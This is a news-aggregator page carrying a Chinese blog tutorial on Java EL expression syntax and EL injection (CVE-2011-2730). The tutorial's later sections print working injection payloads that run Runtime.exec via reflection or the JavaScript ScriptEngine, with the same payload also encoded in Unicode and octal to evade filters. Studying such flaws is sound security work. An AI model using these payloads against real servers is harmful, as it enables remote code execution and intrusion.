最新要闻
- 环球快报:13倍浓缩:日本隅田川胶囊咖啡1.16元/杯史低
- 充会员才解封?爱奇艺回应一号三用被封:技术故障 跳转错误页面
- 《卧龙》天柱山介绍公开:红晶小姐姐美如画!
- 天天热点!对Intel穷追猛打!AMD Zen4c 128核心上半年杀来
- 突然暴雷!世界第一辆量产太阳能汽车 黄了
- 天天热头条丨2023年新势力首月销量成绩单:理想最显眼 零跑暴跌
- 全球新资讯:蔚来大降价超10万?总裁回应:没有 展车最多2.4万优惠
- 【全球报资讯】比尔·盖茨盛赞ChatGPT:称其“不亚于互联网诞生”
- 环球视点!女子拍抖音私闯已关闭自然保护区 或处5000元以下罚款
- 一个手机号搞定!微信正式支持注册小号:生活、工作能分开吗?
- 世界语言的分布是什么?世界语言难度排行
- 三星手机怎么截屏图片?三星手机如何防盗?
- 韩国游戏公司有哪些?韩国游戏公司排名
- 穿越火线什么时候出的?穿越火线怎么安装?
- 饱和石灰水是什么意思?饱和石灰水变浑浊的原因是什么?
- 世界新动态:传奇大佬、联想PC全球第一的功臣蒋凡可·兰奇去世 享年69岁
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
天天快资讯丨el表达式注入漏洞
0x00前言
EL表达式在开发的时候学过,跟jsp一起学的当时那没有了解到后续的漏洞利用,但是现在转念一想也确实可以直接java代码那java的利用方式不在这个语法中也可以使用嘛,然后学的时候也没有特别的仔细去扣细节
0x01概述
EL(全称 Expression Language)表达式语言。
(资料图片)
作用:在jsp中可以写java的语法
获取域环境中获取数据,然后在前段展示就是前后端展示,
使用方法:
首先要通过page设置不可用忽略EL表达式
<%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
语法格式:${expression(表达式)}
回顾一下以前的知识,有四个域
- page:当前页面有
- request:当前请求有效
- session:当前会话有效
- application:当前应用有效
比如说我们在做一个操作就是
request.setAttribute(id,id);setAttribute(String var1, Object var2);
这就是把它存到域,然后用对象id来可以取出来,都是存到域中那么会从那个域去取了,还是有什么标志去标记,还是说遍历循环的取,如果说是遍历循环去取的话又是什么样的顺序呢,答案是:
el 表达式获取数据,会依次从这 4 个域中寻找,直到找到为止。而这四个域对象的作用范围如下图所示。
获取的顺序是先从page
里面找然后没找到然后再从request
里面找这样依次往上找最后找到application,这里说得也有点意思,双亲委派里面也有一个加载器叫applicationloader
0x02用法
要使用 EL 表达式来获取数据,需要按照顺序完成以下几个步骤。
- 获取到数据,比如从数据库中拿到数据
- 将数据存储到 request 域中
- 转发到对应的 jsp 文件中
实现的方法就是那么简单我们做一个简单的demo,随便写一个实体类叫People
@WebServlet("/demo2")public class ELDemo extends HttpServlet { public ELDemo() { super(); } @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { List peoples = new ArrayList(); peoples.add(new People("小明",2,"510")); peoples.add(new People("小明2",22,"5101")); peoples.add(new People("小明2",222,"51011")); req.setAttribute("peoples",peoples); //转发一下请求,不转发的话是拿不到数据的 req.getRequestDispatcher("EL_demo.jsp").forward(req,resp); } @Override protected long getLastModified(HttpServletRequest req) { return super.getLastModified(req); } @Override public void destroy() { super.destroy(); }}
<%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %> Title ${peoples}
访问demo2就看到数据了,还有一些开发的小知识就简单快速的总结一下
0x03开发知识补充
取值的时候的四大对象
四大域域在EL中的名称PagePageScopeRequestRequestScopeSessionSessionScopeApplicationApplicationScope
param:将请求参数名称映射到单个字符串参数值(通过调用 ServletRequest.getParameter (String name) 获得)。getParameter (String) 方法返回带有特定名称的参数。表达式${param . name}相当于 request.getParameter (name)。paramValues:将请求参数名称映射到一个数值数组(通过调用 ServletRequest.getParameter (String name) 获得)。它与 param 隐式对象非常类似,但它检索一个字符串数组而不是单个值。表达式 ${paramvalues. name} 相当于 request.getParamterValues(name)。header:将请求头名称映射到单个字符串头值(通过调用 ServletRequest.getHeader(String name) 获得)。表达式 ${header. name} 相当于 request.getHeader(name)。headerValues将请求头名称映射到一个数值数组(通过调用 ServletRequest.getHeaders(String) 获得)。它与头隐式对象非常类似。表达式${headerValues. name}相当于 request.getHeaderValues(name)。cookie:将 cookie 名称映射到单个 cookie 对象。向服务器发出的客户端请求可以获得一个或多个 cookie。表达式${cookie. name .value}返回带有特定名称的第一个 cookie 值。如果请求包含多个同名的 cookie,则应该使用${headerValues. name}表达式。initParam:将上下文初始化参数名称映射到单个值(通过调用 ServletContext.getInitparameter(String name) 获得)。
pageContext 对象
pageContext 对象是 JSP 中 pageContext 对象的引用。通过 pageContext 对象,您可以访问 request 对象。比如,访问 request 对象传入的查询字符串,简单来说就是去获取传参
${pageContext.request.queryString}
我们访问
http://localhost:8080/ELdemo_war_exploded/EL_demo.jsp?name=bearbar
返回的值就是 name=bearbar
Scope 对象
这个就很简单了就是获取对象的域对象,就是我们存的值是存在那个域对象里面就跟类的引用属性相似,例子:
我们存入对象 request.setAttribute("name","bearbar");
,获取的它的方式就是${requestScope.name}
param 和 paramValues 对象
param 和 paramValues 对象用来访问参数值,通过使用 request.getParameter
方法和 request.getParameterValues
方法,这个方法就是很常用的方法了,也是获取传参值,它是以键值对的情况获取我们传参username=bearbar
然后获取的时候${param.username},两者区别:param 对象返回单一的字符串,而 paramValues 对象则返回一个字符串数组。
header 和 headerValues 对象
header 和 headerValues 对象用来访问信息头,通过使用 request.getHeader()
方法和 request.getHeaders()
方法。
举例来说,要访问一个名为 user-agent 的信息头,可以这样使用表达式:${header.user-agent}
,或者 ${header["user-agent"]}
,就是简单的获取http头的信息
0x04EL表达式漏洞
看看实际的漏洞来看,都是已一些比较老的漏洞
CVE-2011-2730
看一个通用payload
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))
这个就是一个简单的调用流程看一下实际情况中存在的spring的标签
<%@ taglib uri="http://www.springframework.org/tags" prefix="spring"%>
我们只需访问存在上面这个语句的jsp文件然后,传入参数就行
http://localhost/test.jsp?a=${payloadbyel}
这里就相当于执行了我们${payloadbyel}
里面的语句
这个漏洞的利用方式就是传入内部的el表达式是可控的然后内部会执行el表达啥从而导致的注入
0x05基础bypass
利用ScriptEngine调用JS引擎绕过
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec("calc")")}
利用Unicode编码绕过
部分编码或者全部编码都可以
// Unicode编码内容为前面反射调用的PoC\u0024\u007b\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0065\u0078\u0065\u0063\u0027\u002c\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006e\u0075\u006c\u006c\u0029\u002c\u0027\u0063\u0061\u006c\u0063\u002e\u0065\u0078\u0065\u0027\u0029\u007d
利用八进制编码绕过
// 八进制编码内容为前面反射调用的PoC\44\173\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\145\170\145\143\47\54\47\47\56\147\145\164\103\154\141\163\163\50\51\51\56\151\156\166\157\153\145\50\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\147\145\164\122\165\156\164\151\155\145\47\51\56\151\156\166\157\153\145\50\156\165\154\154\51\54\47\143\141\154\143\56\145\170\145\47\51\175
后续的这些编码绕过其实就是避免明文的过滤有很多类型就不举例了
0x06小结
EL注入的话原理很简单,需要利用的话主要是需要清楚el语法的写法和一些常规的bypass的手段,后续还有spel表达式注入漏洞等
参考:
EL表达式注入 – JohnFrod"s Blog
Java 之 EL 表达式注入 | 芜风 (drun1baby.github.io)
天天快资讯丨el表达式注入漏洞
环球快报:13倍浓缩:日本隅田川胶囊咖啡1.16元/杯史低
充会员才解封?爱奇艺回应一号三用被封:技术故障 跳转错误页面
《卧龙》天柱山介绍公开:红晶小姐姐美如画!
天天热点!对Intel穷追猛打!AMD Zen4c 128核心上半年杀来
突然暴雷!世界第一辆量产太阳能汽车 黄了
讯息:操作系统的体系结构
天天热头条丨2023年新势力首月销量成绩单:理想最显眼 零跑暴跌
全球新资讯:蔚来大降价超10万?总裁回应:没有 展车最多2.4万优惠
【全球报资讯】比尔·盖茨盛赞ChatGPT:称其“不亚于互联网诞生”
环球视点!女子拍抖音私闯已关闭自然保护区 或处5000元以下罚款
一个手机号搞定!微信正式支持注册小号:生活、工作能分开吗?
世界语言的分布是什么?世界语言难度排行
三星手机怎么截屏图片?三星手机如何防盗?
韩国游戏公司有哪些?韩国游戏公司排名
穿越火线什么时候出的?穿越火线怎么安装?
饱和石灰水是什么意思?饱和石灰水变浑浊的原因是什么?
诺基亚5000刚出来是多少钱?诺基亚5000手机参数
宽带连接怎么创建?宽带连接怎么设置到桌面上?
一次JSF上线问题引发的MsgPack深入理解,保证对你有收获
全球快看点丨springboot实战——总结
全球观点:(笔记)【NTP系列:05】NTP时间同步失败:Windows(W32Time)作为NTP时钟源服务端,Linux作为客户端
[概率论与数理统计]笔记:5.4 假设检验概述
西门子手机怎么样?西门子手机哪年进入中国?
联想y470双显卡驱动怎么装?联想y470双显卡怎么切换?
dota2怎么改成国服?DOTA2配置要求是什么?
世界新动态:传奇大佬、联想PC全球第一的功臣蒋凡可·兰奇去世 享年69岁
不叫003 极氪第三款车型ZEEKR X官图发布:20万买不
世界观焦点:智商碾压 新养的边牧把养5年金毛拐跑丢弃
当前滚动:办公党等到了!小米笔记本12.4二合一发布:2.5K触屏 2999元
荣耀Magic5通过3C认证:1/1.1英寸主摄、标配66W充电头
世界关注:非常强大的gsap动画
2023年值得收藏的开源或免费的web应用防火墙
keycloak~JWT各字段说明及扩展字段的方法
苹果业绩暴雷:iPhone卖不动了!库克感谢国人支持 要降价刺激销量?
《巫师3:狩猎》4.01版更新上线:光追性能更强 帧率又高了
美国新造车告急:造一辆亏23万 CEO深感抱歉
极氪009被吐槽像灵车、棺材 车主亲身评测:死人躺并不舒适
比亚迪又一大杀器 全新海鸥出街被拍:超个性涂装上身
快看:iPhone 12/13/14灵魂设计师离职 苹果直接取消工业设计总监职位
动态焦点:男孩为网游充值4万 家长控诉腾讯监控不力未尽义务:该不该退钱?
全球微动态丨国内油价今晚调整 或迎兔年“第一涨”:加满一箱预计多花8.5元
环球滚动:20个小猫身上笑死人的奇葩花纹:只有你想不到!
萌萌哒的兔子竟是“头号杀手”!澳大利亚曾研制病毒专杀兔兔
全球新资讯:澳大利亚搞丢一枚剧毒放射性胶囊 相关单位仅被罚款1000块:下不为例?
专家称年轻人工资低可能是能力不够引争议:企业点赞 打铁还应自身硬
世界今热点:触控体验碾压iPhone 14 Pro Max!一加Ace 2做到了
火箭弹电子版领取处>>(密码博主昵称 全部小写)
天天观点:Pandas分析泰坦尼克号生还比例
天天新资讯:图卷积的演变-从谱图卷积到GCN
.NET Core 3.1 通过 Web Service 读写 Salesforce 数据
【全球新要闻】打开它 游戏性能飙升46%!NVIDIA为啥不要呢?
每日资讯:麦当劳赢了:世界第一美食APP
即时看!地球最稀有矿石就一个标本!已知6000多种矿石就它特殊
【天天速看料】《流浪地球2》票房破30亿!下一部或两年后上映
最新消息:这两年大家都在吃瘪 结果微软闷声发大财了!全靠它
视焦点讯!Spring中Bean的生命周期
一名老了的普通程序员的未来在哪里
元宵节将至:北京周五晚高峰将达严重拥堵
焦点报道:334个小核心反超AMD!Intel下代至强“增肥”70%
出厂安卓13 三星Galaxy S23承诺四次大版本迭代:包你升级Android 17
世界热点!在欧洲大陆上奔跑的中国新能源车正越来越多!当地人慌了
当前热讯:编写干净代码的 9 条必须知道的规则
有钱玩家真多!越来越多Steam用户配置RTX 4090显卡:已超2万人
Python教程:OS与sys模块用法教程
世界看点:mybatis-plus代码生成器
女子误用八千元一斤茶叶煮茶叶蛋 以为过期:网友称这茶叶蛋真吃不起
天天观天下!专家:年轻人工资低是因为能力不够 很少有人反思这问题
全球微速讯:爱奇艺回应3台设备登录账号被封:改密码能解封 不用充值更贵会员
全球滚动:PS游戏启动失败?PS日本教你如何进行问题排查
剧版一集就被砍之后 DC电影版《沼泽怪物》物色导演
订单破5万!比亚迪腾势D9登35万以上新能源豪华MPV销量第一
环球微动态丨导演评价《狂飙》:可能是可以刻在自己墓碑上的一部戏
每日快报!12.4万的保时捷带来诸多疑问 故意营销质疑越来越多!
造车新势力第一!广汽埃安1月交付10206辆 今年冲击60万辆
天天观热点:CSS 清除浮动
今日快讯:蔚来开启降价 内部员工回应:像小鹏那样直接降太没面子
彻底不冒黑烟!沃尔沃天然气重卡发布:发动机最大500马力
世界速讯:30岁中国女子在日本买70万平小岛成岛主:永久使用权
天天资讯:体育纳入高考、鲨鱼咬人?朋友圈十大谣言出炉
环球速看:800W核弹 老外猜测RTX Titan Ada售价:2.5万元都是良心价
每日信息:程序员应该专注技术,还是优雅转管理?
环球今日报丨超越三星 中国电视品牌出货量首次登顶全球第一
天天看热讯:33款砍掉一半多!奔驰大刀阔斧改革旗下车型:不赚钱的都扔掉
环球短讯!上海动物园小老虎意外溺亡 回应:因外界人员干扰致应激反应
河南一地发现大型石墨矿:自然界最软的矿物 估算超100万吨
95比92更耐烧吗、中石化和中石油能混加吗?官方科普
当前焦点![JavaSript]闭包
即时焦点:element-ui表格展开行每次只能展开一行
阿里二面:千万级、亿级数据,如何性能优化? 教科书级 答案来了
热推荐:MyBatis的使用一(框架的搭建)
环球要闻:数字孪生|可视化图表之散点图
焦点报道:视网膜能秒击穿!网友用小米12实测新能源车激光雷达威力:相机被烧坏
天天速讯:可口可乐定制版真我10 Pro外观首曝:最具辨识度的千元机
世界滚动:《狂飙》落幕后 《三体》剧版上线超前点播:18元提前看大结局
安卓之光归来 三星对Galaxy S23系列很自信:最好的相机及游戏性能
世界今日报丨小米汽车设计泄密供应商被处罚100万!雷军:泄密员工正在处理
自动化运维:如何构建和部署前端应用
cpp简单总结
你只会用 xxl-job?一款更强大、新一代分布式任务调度框架来了,太强大了!